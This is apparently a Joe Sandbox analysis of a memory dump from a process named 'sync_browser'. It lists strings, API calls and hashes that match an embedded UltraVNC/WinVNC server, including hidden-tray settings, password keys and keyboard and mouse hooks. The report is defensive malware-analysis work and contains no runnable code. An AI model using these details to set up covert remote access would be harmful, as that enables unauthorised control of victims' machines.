LocalInputsDisabled, xrefs: 00007FF7E507F15E, 00007FF7E507F24F
LoopbackOnly, xrefs: 00007FF7E507E5E4, 00007FF7E507E71A
Avilog, xrefs: 00007FF7E507E534, 00007FF7E507E64E
SingleWindowName, xrefs: 00007FF7E507F462, 00007FF7E507F6AF
RemoveWallpaper, xrefs: 00007FF7E507EEB4, 00007FF7E507EF06
passwd2, xrefs: 00007FF7E507F0DF, 00007FF7E507F106
locdom1, xrefs: 00007FF7E507E433, 00007FF7E507E4A1
TurboMode, xrefs: 00007FF7E507F2FE, 00007FF7E507F4A2
QueryTimeout, xrefs: 00007FF7E507EF6B, 00007FF7E507F016
admin, xrefs: 00007FF7E507E241, 00007FF7E507E27A, 00007FF7E507E2C5, 00007FF7E507E309, 00007FF7E507E320, 00007FF7E507E354, 00007FF7E507E521, 00007FF7E507E53B, 00007FF7E507E562, 00007FF7E507E594, 00007FF7E507E5B5, 00007FF7E507E5CF, 00007FF7E507E5EB, 00007FF7E507E627, 00007FF7E507E655, 00007FF7E507E670, 00007FF7E507E68E, 00007FF7E507E6BF, 00007FF7E507E6F0, 00007FF7E507E721, 00007FF7E507E738, 00007FF7E507E752, 00007FF7E507E771, 00007FF7E507E790, 00007FF7E507E7C9, 00007FF7E507E7FA, 00007FF7E507E82B, 00007FF7E507E85C, 00007FF7E507E87E, 00007FF7E507E8AB, 00007FF7E507E8D3, 00007FF7E507E8EA, 00007FF7E507E904, 00007FF7E507E921, 00007FF7E507E940, 00007FF7E507E97B, 00007FF7E507E9AC, 00007FF7E507E9DD, 00007FF7E507E9F4, 00007FF7E507EA11, 00007FF7E507EA30, 00007FF7E507EA4F, 00007FF7E507EA6B, 00007FF7E507EA8B, 00007FF7E507EAAB, 00007FF7E507EAC8, 00007FF7E507EB07, 00007FF7E507EB3B, 00007FF7E507EB69, 00007FF7E507EB9A, 00007FF7E507EBCB, 00007FF7E507EBFF, 00007FF7E507EC30, 00007FF7E507EC61, 00007FF7E507EC7D, 00007FF7E507EC9A, 00007FF7E507ECB9, 00007FF7E507ECD8, 00007FF7E507ECFD, 00007FF7E507ED17, 00007FF7E507ED37, 00007FF7E507ED76, 00007FF7E507EDA7, 00007FF7E507EDD8, 00007FF7E507EE09, 00007FF7E507EE3A, 00007FF7E507EE6B, 00007FF7E507EEA2, 00007FF7E507EEBB, 00007FF7E507EED5, 00007FF7E507EF0D, 00007FF7E507EF3E, 00007FF7E507EF55, 00007FF7E507EF72, 00007FF7E507EF91, 00007FF7E507EFB0, 00007FF7E507EFEC, 00007FF7E507F01D, 00007FF7E507F051, 00007FF7E507F07F, 00007FF7E507F12C, 00007FF7E507F149, 00007FF7E507F165, 00007FF7E507F181, 00007FF7E507F19D, 00007FF7E507F1BA, 00007FF7E507F1F7, 00007FF7E507F225, 00007FF7E507F256, 00007FF7E507F287, 00007FF7E507F2B8, 00007FF7E507F2E9
IdleTimeout, xrefs: 00007FF7E507ED30, 00007FF7E507EE9B
group2, xrefs: 00007FF7E507E396, 00007FF7E507E3FF
accept_reject_mesg, xrefs: 00007FF7E507E58D, 00007FF7E507E687
EnableVirtual, xrefs: 00007FF7E507F413, 00007FF7E507F661
DisableTrayIcon, xrefs: 00007FF7E507E5C8, 00007FF7E507E6E9
admin_auth, xrefs: 00007FF7E507E372, 00007FF7E507E39D, 00007FF7E507E3C8, 00007FF7E507E3EC, 00007FF7E507E406, 00007FF7E507E420, 00007FF7E507E43A, 00007FF7E507E454, 00007FF7E507E478, 00007FF7E507E4A8, 00007FF7E507E4D9, 00007FF7E507E50A
AllowProperties, xrefs: 00007FF7E507E91A, 00007FF7E507E9A5
FTUserImpersonation, xrefs: 00007FF7E507EA0A, 00007FF7E507EB34
locdom2, xrefs: 00007FF7E507E44D, 00007FF7E507E4D2
EnableJapInput, xrefs: 00007FF7E507F17A, 00007FF7E507F280
kickrdp, xrefs: 00007FF7E507F196, 00007FF7E507F2B1
PollFullScreen, xrefs: 00007FF7E507F353, 00007FF7E507F535
QueryAccept, xrefs: 00007FF7E507EF8A, 00007FF7E507F04A
AuthHosts, xrefs: 00007FF7E507E8A4, 00007FF7E507E8E3
BlankInputsOnly, xrefs: 00007FF7E507EA48, 00007FF7E507EB93
primary, xrefs: 00007FF7E507EAA4, 00007FF7E507EC29
QueryIfNoLogon, xrefs: 00007FF7E507EFA9, 00007FF7E507F078
AutoPortSelect, xrefs: 00007FF7E507ECD1, 00007FF7E507EE02
poll, xrefs: 00007FF7E507F305, 00007FF7E507F322, 00007FF7E507F33E, 00007FF7E507F35A, 00007FF7E507F379, 00007FF7E507F39C, 00007FF7E507F3B3, 00007FF7E507F3D8, 00007FF7E507F3F7, 00007FF7E507F41A, 00007FF7E507F43A, 00007FF7E507F46E, 00007FF7E507F4A9, 00007FF7E507F4DA, 00007FF7E507F50B, 00007FF7E507F53C, 00007FF7E507F56D, 00007FF7E507F59E, 00007FF7E507F5CF, 00007FF7E507F602, 00007FF7E507F635, 00007FF7E507F668, 00007FF7E507F69B, 00007FF7E507F6B6
EnableHook, xrefs: 00007FF7E507F3F0, 00007FF7E507F62E
, xrefs: 00007FF7E507F475
UltraVNC, xrefs: 00007FF7E507F09B, 00007FF7E507F0BF, 00007FF7E507F0E6, 00007FF7E507F10D
AuthRequired, xrefs: 00007FF7E507E76A, 00007FF7E507E824
LockSetting, xrefs: 00007FF7E507F142, 00007FF7E507F21E
PollForeground, xrefs: 00007FF7E507F337, 00007FF7E507F504
HTTPPortNumber, xrefs: 00007FF7E507ED10, 00007FF7E507EE64
locdom3, xrefs: 00007FF7E507E471, 00007FF7E507E503
UseRegistry, xrefs: 00007FF7E507E23A, 00007FF7E507E273
EnableDriver, xrefs: 00007FF7E507F3D1, 00007FF7E507F5FB
AllowShutdown, xrefs: 00007FF7E507E8FD, 00007FF7E507E974
AllowEditClients, xrefs: 00007FF7E507E939, 00007FF7E507E9D6
NewMSLogon, xrefs: 00007FF7E507E319, 00007FF7E507E34D
group3, xrefs: 00007FF7E507E3C1, 00007FF7E507E419
OnlyPollOnEvent, xrefs: 00007FF7E507F395, 00007FF7E507F597
clearconsole, xrefs: 00007FF7E507F1B3, 00007FF7E507F2E2
passwd, xrefs: 00007FF7E507F094, 00007FF7E507F0B8
ConnectPriority, xrefs: 00007FF7E507E789, 00007FF7E507E855
DebugLevel, xrefs: 00007FF7E507E5AE, 00007FF7E507E6B8
MSLogonRequired, xrefs: 00007FF7E507E2BE, 00007FF7E507E302
group1, xrefs: 00007FF7E507E36B, 00007FF7E507E3E5
DSMPlugin, xrefs: 00007FF7E507E877, 00007FF7E507E8CC
HTTPConnect, xrefs: 00007FF7E507EC93, 00007FF7E507EDA0
BlankMonitorEnabled, xrefs: 00007FF7E507EA29, 00007FF7E507EB62
QuerySetting, xrefs: 00007FF7E507EF4E, 00007FF7E507EFE5
AllowLoopback, xrefs: 00007FF7E507E74B, 00007FF7E507E7F3
MaxCpu, xrefs: 00007FF7E507F3AC, 00007FF7E507F5C8
DebugMode, xrefs: 00007FF7E507E51A, 00007FF7E507E620
SocketConnect, xrefs: 00007FF7E507EC76, 00007FF7E507ED6F
InputsEnabled, xrefs: 00007FF7E507F125, 00007FF7E507F1F0
FileTransferEnabled, xrefs: 00007FF7E507E9ED, 00007FF7E507EB00
PortNumber, xrefs: 00007FF7E507ECF6, 00007FF7E507EE33
UseDSMPlugin, xrefs: 00007FF7E507E731, 00007FF7E507E7C2
OnlyPollConsole, xrefs: 00007FF7E507F372, 00007FF7E507F566
XDMCPConnect, xrefs: 00007FF7E507ECB2, 00007FF7E507EDD1
RemoveAero, xrefs: 00007FF7E507EECE, 00007FF7E507EF37
path, xrefs: 00007FF7E507E55B, 00007FF7E507E669
secondary, xrefs: 00007FF7E507EAC1, 00007FF7E507EC5A
FileTransferTimeout, xrefs: 00007FF7E507EA84, 00007FF7E507EBF8
DefaultScale, xrefs: 00007FF7E507EA64, 00007FF7E507EBC4
SingleWindow, xrefs: 00007FF7E507F433, 00007FF7E507F694
PollUnderCursor, xrefs: 00007FF7E507F31B, 00007FF7E507F4D3

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfile$String$Write$Desktopwsprintf$Thread$CloseCurrentErrorInputLastMessageOpen_callnewh_itowmallocxtoa
String ID: $AllowEditClients$AllowLoopback$AllowProperties$AllowShutdown$AuthHosts$AuthRequired$AutoPortSelect$Avilog$BlankInputsOnly$BlankMonitorEnabled$ConnectPriority$DSMPlugin$DebugLevel$DebugMode$DefaultScale$DisableTrayIcon$EnableDriver$EnableHook$EnableJapInput$EnableVirtual$FTUserImpersonation$FileTransferEnabled$FileTransferTimeout$HTTPConnect$HTTPPortNumber$IdleTimeout$InputsEnabled$LocalInputsDisabled$LockSetting$LoopbackOnly$MSLogonRequired$MaxCpu$NewMSLogon$OnlyPollConsole$OnlyPollOnEvent$PollForeground$PollFullScreen$PollUnderCursor$PortNumber$QueryAccept$QueryIfNoLogon$QuerySetting$QueryTimeout$RemoveAero$RemoveWallpaper$SingleWindow$SingleWindowName$SocketConnect$TurboMode$UltraVNC$UseDSMPlugin$UseRegistry$XDMCPConnect$accept_reject_mesg$admin$admin_auth$clearconsole$group1$group2$group3$kickrdp$locdom1$locdom2$locdom3$passwd$passwd2$path$poll$primary$secondary
API String ID: 341937111-959611688
Opcode ID: 7e73647ecd3fa51fa072c6accf7da39f2f963580055068ff331c9971e3f9d7f8
Instruction ID: 953897ef8bc2de10162f2b376c44dda51640dbc91ecfb35ac80c36fe1b2679a8
Opcode Fuzzy Hash: 7e73647ecd3fa51fa072c6accf7da39f2f963580055068ff331c9971e3f9d7f8
Instruction Fuzzy Hash: 58C2CE65A08A4F91EF10AB59F8646E4A760FB44FD8FC05433D90D9752CEE7CE209C7A2

Function 00007FF7E50A3E20 Relevance: 158.0, APIs: 55, Strings: 35, Instructions: 537libraryloaderthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E50A3E6A
GetCurrentThreadId.KERNEL32 ref: 00007FF7E50A3E94
GetThreadDesktop.USER32 ref: 00007FF7E50A3E9C
GetUserObjectInformationA.USER32 ref: 00007FF7E50A3EC7
SetThreadDesktop.USER32 ref: 00007FF7E50A3F0F
LoadLibraryA.KERNEL32 ref: 00007FF7E50A3F35
GetProcAddress.KERNEL32 ref: 00007FF7E50A3F45
GetStockObject.GDI32 ref: 00007FF7E50A3FD2
RegisterClassExA.USER32 ref: 00007FF7E50A3FEC
SetEvent.KERNEL32 ref: 00007FF7E50A401A
CreateWindowExA.USER32 ref: 00007FF7E50A4074
SetTimer.USER32 ref: 00007FF7E50A40A1
SetWindowLongPtrA.USER32 ref: 00007FF7E50A40B6
SetClipboardViewer.USER32 ref: 00007FF7E50A40CB
CreateThread.KERNEL32 ref: 00007FF7E50A4130
CloseHandle.KERNEL32 ref: 00007FF7E50A413E
GetModuleFileNameA.KERNEL32 ref: 00007FF7E50A416C
GetModuleFileNameA.KERNEL32 ref: 00007FF7E50A41D0
GetModuleFileNameA.KERNEL32 ref: 00007FF7E50A4242
LoadLibraryA.KERNEL32 ref: 00007FF7E50A42D2
LoadLibraryA.KERNEL32 ref: 00007FF7E50A42E6
LoadLibraryA.KERNEL32 ref: 00007FF7E50A4302
GetProcAddress.KERNEL32 ref: 00007FF7E50A4342
GetProcAddress.KERNEL32 ref: 00007FF7E50A435D
GetProcAddress.KERNEL32 ref: 00007FF7E50A4378
GetProcAddress.KERNEL32 ref: 00007FF7E50A4393
GetProcAddress.KERNEL32 ref: 00007FF7E50A43B3
GetProcAddress.KERNEL32 ref: 00007FF7E50A43CE
GetProcAddress.KERNEL32 ref: 00007FF7E50A43E9
GetProcAddress.KERNEL32 ref: 00007FF7E50A4404
GetProcAddress.KERNEL32 ref: 00007FF7E50A4439
GetProcAddress.KERNEL32 ref: 00007FF7E50A4454
GetProcAddress.KERNEL32 ref: 00007FF7E50A446F
SetEvent.KERNEL32 ref: 00007FF7E50A4498
PeekMessageA.USER32 ref: 00007FF7E50A44D4
Sleep.KERNEL32 ref: 00007FF7E50A4675
CreateRectRgn.GDI32 ref: 00007FF7E50A469F
CombineRgn.GDI32 ref: 00007FF7E50A46BB
DeleteObject.GDI32 ref: 00007FF7E50A46C4
free.LIBCMT ref: 00007FF7E50A46CD
SetEvent.KERNEL32 ref: 00007FF7E50A46D9

Part of subcall function 00007FF7E5087350: TryEnterCriticalSection.KERNEL32 ref: 00007FF7E5087368
Part of subcall function 00007FF7E5087350: LeaveCriticalSection.KERNEL32 ref: 00007FF7E508749A

SetEvent.KERNEL32 ref: 00007FF7E50A472D
SetEvent.KERNEL32 ref: 00007FF7E50A4754
TranslateMessage.USER32 ref: 00007FF7E50A4780
DispatchMessageA.USER32 ref: 00007FF7E50A478A
WaitMessage.USER32 ref: 00007FF7E50A4795
DestroyWindow.USER32 ref: 00007FF7E50A47BC
DestroyWindow.USER32 ref: 00007FF7E50A47E0
SetEvent.KERNEL32 ref: 00007FF7E50A47ED
KillTimer.USER32 ref: 00007FF7E50A47FF
FreeLibrary.KERNEL32 ref: 00007FF7E50A4829
FreeLibrary.KERNEL32 ref: 00007FF7E50A483B
FreeLibrary.KERNEL32 ref: 00007FF7E50A484D
SetThreadDesktop.USER32 ref: 00007FF7E50A4857
CloseDesktop.USER32 ref: 00007FF7E50A4860

Strings

vncdesktopsink.cpp : InitWindow:!GetUserObjectInformation , xrefs: 00007FF7E50A3ED1
UnSetHooks, xrefs: 00007FF7E50A433B
vncdesktopsink.cpp : OOOOOOOOOOOO called wm_user+3, xrefs: 00007FF7E50A4767
vncdesktopsink.cpp : InitWindow:OpenInputdesktop Error , xrefs: 00007FF7E50A3E7C
CaptureW8, xrefs: 00007FF7E50A4461
SetKeyboardFilterHook, xrefs: 00007FF7E50A436A, 00007FF7E50A43F6
StartW8, xrefs: 00007FF7E50A4432
vncdesktopsink.cpp : OOOOOOOOOOOO load hookdll's, xrefs: 00007FF7E50A4144
StopW8, xrefs: 00007FF7E50A4446
vncdesktopsink.cpp : OOOOOOOOOOOO %i %i, xrefs: 00007FF7E50A44EA
vncdesktopsink.cpp : OOOOOOOOOOOO called wm_user+4, xrefs: 00007FF7E50A47A0
vncdesktopsink.cpp : OOOOOOOOOOOO called wm_quit, xrefs: 00007FF7E50A47C4
ChangeWindowMessageFilter, xrefs: 00007FF7E50A3F3B
user32.dll, xrefs: 00007FF7E50A3F2E
WinVNC, xrefs: 00007FF7E50A4033
\w8hook64.dll, xrefs: 00007FF7E50A4277
vncdesktopsink.cpp : REct3 %i %i %i %i , xrefs: 00007FF7E50A4576
vncdesktopsink.cpp : failed to create hook window, xrefs: 00007FF7E50A4086
vncdesktopsink.cpp : RFB_SCREEN_UPDATE , xrefs: 00007FF7E50A455D
SetHooks, xrefs: 00007FF7E50A4385
vncdesktopsink.cpp : OOOOOOOOOOOO start dispatch, xrefs: 00007FF7E50A447C
SetMouseFilterHook, xrefs: 00007FF7E50A434F, 00007FF7E50A43DB
vncdesktopsink.cpp : InitWindow:SelectHDESK to %s (%x) from %x, xrefs: 00007FF7E50A3EED
vncdesktopsink.cpp : InitWindow called, xrefs: 00007FF7E50A3E4B
vncdesktopsink.cpp : failed to register window class, xrefs: 00007FF7E50A3FFE
\vnchooks.dll, xrefs: 00007FF7E50A419B
WinVNC desktop sink, xrefs: 00007FF7E50A3F92
UnSetHook, xrefs: 00007FF7E50A43AC
vnchook, xrefs: 00007FF7E50A431C
SetHook, xrefs: 00007FF7E50A43C0
vncdesktopsink.cpp : OOOOOOOOOOOO end dispatch, xrefs: 00007FF7E50A4866
vncdesktopsink.cpp : InitWindow:OpenInputdesktop OK, xrefs: 00007FF7E50A3E88
\schook64.dll, xrefs: 00007FF7E50A4205
vncdesktopsink.cpp : RFB_MOUSE_UPDATE , xrefs: 00007FF7E50A46FA
vncdesktopsink.cpp : InitWindow:SelectHDESK:!SetThreadDesktop , xrefs: 00007FF7E50A3F19

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$Event$DesktopThread$LoadMessageWindow$CreateFileFreeModuleNameObject$CloseCriticalDestroySectionTimer$ClassClipboardCombineCurrentDeleteDispatchEnterHandleInformationInputKillLeaveLongOpenPeekRectRegisterSleepStockTranslateUserViewerWaitfree
String ID: CaptureW8$ChangeWindowMessageFilter$SetHook$SetHooks$SetKeyboardFilterHook$SetMouseFilterHook$StartW8$StopW8$UnSetHook$UnSetHooks$WinVNC$WinVNC desktop sink$\schook64.dll$\vnchooks.dll$\w8hook64.dll$user32.dll$vncdesktopsink.cpp : InitWindow called$vncdesktopsink.cpp : InitWindow:!GetUserObjectInformation $vncdesktopsink.cpp : InitWindow:OpenInputdesktop Error $vncdesktopsink.cpp : InitWindow:OpenInputdesktop OK$vncdesktopsink.cpp : InitWindow:SelectHDESK to %s (%x) from %x$vncdesktopsink.cpp : InitWindow:SelectHDESK:!SetThreadDesktop $vncdesktopsink.cpp : OOOOOOOOOOOO %i %i$vncdesktopsink.cpp : OOOOOOOOOOOO called wm_quit$vncdesktopsink.cpp : OOOOOOOOOOOO called wm_user+3$vncdesktopsink.cpp : OOOOOOOOOOOO called wm_user+4$vncdesktopsink.cpp : OOOOOOOOOOOO end dispatch$vncdesktopsink.cpp : OOOOOOOOOOOO load hookdll's$vncdesktopsink.cpp : OOOOOOOOOOOO start dispatch$vncdesktopsink.cpp : REct3 %i %i %i %i $vncdesktopsink.cpp : RFB_MOUSE_UPDATE $vncdesktopsink.cpp : RFB_SCREEN_UPDATE $vncdesktopsink.cpp : failed to create hook window$vncdesktopsink.cpp : failed to register window class$vnchook
API String ID: 3632263120-2889214834
Opcode ID: 7f86bcf90ac23ed3313e68ce7d85e9fffed402d6815da712985dc0a1a31e7d51
Instruction ID: 4d29024308a823771279c81fad68d96b3fc09075cb328013a8cafc6930939044
Opcode Fuzzy Hash: 7f86bcf90ac23ed3313e68ce7d85e9fffed402d6815da712985dc0a1a31e7d51
Instruction Fuzzy Hash: 8C527135A08A8A85E710EF64F9647AAB3A8FF44B54F800537DA4DC3698DF3CE544C722

Function 00007FF7E50C0650 Relevance: 100.3, APIs: 37, Strings: 20, Instructions: 597COMMON

Download Yara Rule

Strings

Composed 0x%x, xrefs: 00007FF7E50C098E
ignoring unrecognised Latin-1 keysym 0x%x, xrefs: 00007FF7E50C0D37
latin-1 key: keysym %d(0x%x) vkCode 0x%x down %d capslockOn %d, xrefs: 00007FF7E50C0FBE
CAD, xrefs: 00007FF7E50C118D
fake %d down, xrefs: 00007FF7E50C0DF3, 00007FF7E50C0E41, 00007FF7E50C0E93
Not Vista and runnning as system, use old method, xrefs: 00007FF7E50C120E
Not Vista and runnning as user -> Taskmgr, xrefs: 00007FF7E50C1224
taskmgr.exe, xrefs: 00007FF7E50C1230
keysym 0x%x, xrefs: 00007FF7E50C0676
Vista and runnning as system -> CAD, xrefs: 00007FF7E50C11C2
Found key, xrefs: 00007FF7E50C0A33
gfff, xrefs: 00007FF7E50C0AA3
ignoring unknown keysym %d, xrefs: 00007FF7E50C107F
Vista and runnning as user -> Taskmgr, xrefs: 00007FF7E50C11FD
Simulating ALT+%d%d%d, xrefs: 00007FF7E50C0BCA
Compose dead 0x%x 0x%x, xrefs: 00007FF7E50C0728
************** DEAD KEY, xrefs: 00007FF7E50C069C
fake %d up, xrefs: 00007FF7E50C0B07, 00007FF7E50C0B55, 00007FF7E50C0BA0, 00007FF7E50C0EF7, 00007FF7E50C0F40, 00007FF7E50C0F8B
SHORT s %i, xrefs: 00007FF7E50C09EC
down, xrefs: 00007FF7E50C0A1B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID:
String ID: ************** DEAD KEY$ Compose dead 0x%x 0x%x$ Composed 0x%x$ Found key$ SHORT s %i$ Simulating ALT+%d%d%d$ keysym 0x%x$CAD$Not Vista and runnning as system, use old method$Not Vista and runnning as user -> Taskmgr$Vista and runnning as system -> CAD$Vista and runnning as user -> Taskmgr$down$fake %d down$fake %d up$gfff$ignoring unknown keysym %d$ignoring unrecognised Latin-1 keysym 0x%x$latin-1 key: keysym %d(0x%x) vkCode 0x%x down %d capslockOn %d$taskmgr.exe
API String ID: 0-2541672151
Opcode ID: 4de62e545ccc4938766ca3ab5845fa14ab1c878863e4d7865b5c773306dab41b
Instruction ID: 02a55ee811b5f61fc40a0657cbaf5a1bfaa441b4e1f30bb4af1d6b11ca54d6ea
Opcode Fuzzy Hash: 4de62e545ccc4938766ca3ab5845fa14ab1c878863e4d7865b5c773306dab41b
Instruction Fuzzy Hash: E3527E21E1868A86F724BB34E4307F9A761BB41B48FC05437E94E87699DE3CA549C373

Function 00007FF7E508A130 Relevance: 79.1, APIs: 28, Strings: 17, Instructions: 317threadregistrysleepCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7E508A176
OpenInputDesktop.USER32 ref: 00007FF7E508A186
GetCurrentThreadId.KERNEL32 ref: 00007FF7E508A1B0
GetThreadDesktop.USER32 ref: 00007FF7E508A1B8
GetUserObjectInformationA.USER32 ref: 00007FF7E508A1E9
SetThreadDesktop.USER32 ref: 00007FF7E508A231
OpenProcess.KERNEL32 ref: 00007FF7E508A2B4
OpenProcessToken.ADVAPI32 ref: 00007FF7E508A2D3
CloseHandle.KERNEL32 ref: 00007FF7E508A2E0
GetModuleFileNameA.KERNEL32 ref: 00007FF7E508A2FA
CreateProcessAsUserA.ADVAPI32 ref: 00007FF7E508A3C9
GetLastError.KERNEL32 ref: 00007FF7E508A3CF
CloseHandle.KERNEL32 ref: 00007FF7E508A3E0
CloseHandle.KERNEL32 ref: 00007FF7E508A3EF
OpenEventA.KERNEL32 ref: 00007FF7E508A420
SetEvent.KERNEL32 ref: 00007FF7E508A439
RegOpenKeyExA.ADVAPI32 ref: 00007FF7E508A46A
RegQueryValueExA.ADVAPI32 ref: 00007FF7E508A4A2
RegCloseKey.ADVAPI32 ref: 00007FF7E508A4AD
OpenEventA.KERNEL32 ref: 00007FF7E508A4D8
SetEvent.KERNEL32 ref: 00007FF7E508A4F1
GetModuleFileNameA.KERNEL32 ref: 00007FF7E508A50B
GetDesktopWindow.USER32 ref: 00007FF7E508A5A4
ShellExecuteA.SHELL32 ref: 00007FF7E508A5CF
InitializeCriticalSection.KERNEL32 ref: 00007FF7E508A627
Sleep.KERNEL32 ref: 00007FF7E508A693
SetThreadDesktop.USER32 ref: 00007FF7E508A6A1
CloseDesktop.USER32 ref: 00007FF7E508A6AF

Strings

UAC is Disable, make registry changes to allow cad, xrefs: 00007FF7E508A283
vistahook.cpp : !GetUserObjectInformation , xrefs: 00007FF7E508A1F3
vistahook.cpp : SelectHDESK to %s (%x) from %x, xrefs: 00007FF7E508A219
open, xrefs: 00007FF7E508A5C8
UltraVNC Warning, xrefs: 00007FF7E508A669
vistahook.cpp : SelectHDESK:!SetThreadDesktop , xrefs: 00007FF7E508A23B
Warning, xrefs: 00007FF7E508A27C
vistahook.cpp : OpenInputdesktop Error , xrefs: 00007FF7E508A19B
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00007FF7E508A45C
cad.exe, xrefs: 00007FF7E508A599
EnableLUA, xrefs: 00007FF7E508A496
Winsta0\Default, xrefs: 00007FF7E508A37A
Ctrl-alt-del require service, no permission, xrefs: 00007FF7E508A5E3
vistahook.cpp : OpenInputdesktop OK, xrefs: 00007FF7E508A1A4
-softwarecadhelper, xrefs: 00007FF7E508A335
Ctrl-alt-del require service, no permission, xrefs: 00007FF7E508A656
Global\SessionEventUltraCad, xrefs: 00007FF7E508A414, 00007FF7E508A4CC

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DesktopOpen$Close$EventThread$HandleProcess$FileModuleNameUser$CreateCriticalCurrentErrorExecuteInformationInitializeInputLastObjectQuerySectionShellSleepTokenValueVersionWindow
String ID: -softwarecadhelper$Ctrl-alt-del require service, no permission$Ctrl-alt-del require service, no permission$EnableLUA$Global\SessionEventUltraCad$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System$UAC is Disable, make registry changes to allow cad$UltraVNC Warning$Warning$Winsta0\Default$cad.exe$open$vistahook.cpp : !GetUserObjectInformation $vistahook.cpp : OpenInputdesktop Error $vistahook.cpp : OpenInputdesktop OK$vistahook.cpp : SelectHDESK to %s (%x) from %x$vistahook.cpp : SelectHDESK:!SetThreadDesktop
API String ID: 1732492099-311746058
Opcode ID: 364b0ab4c0a733f657dae5b09393cd9c81dc3f4ffc649c11128cba260e889681
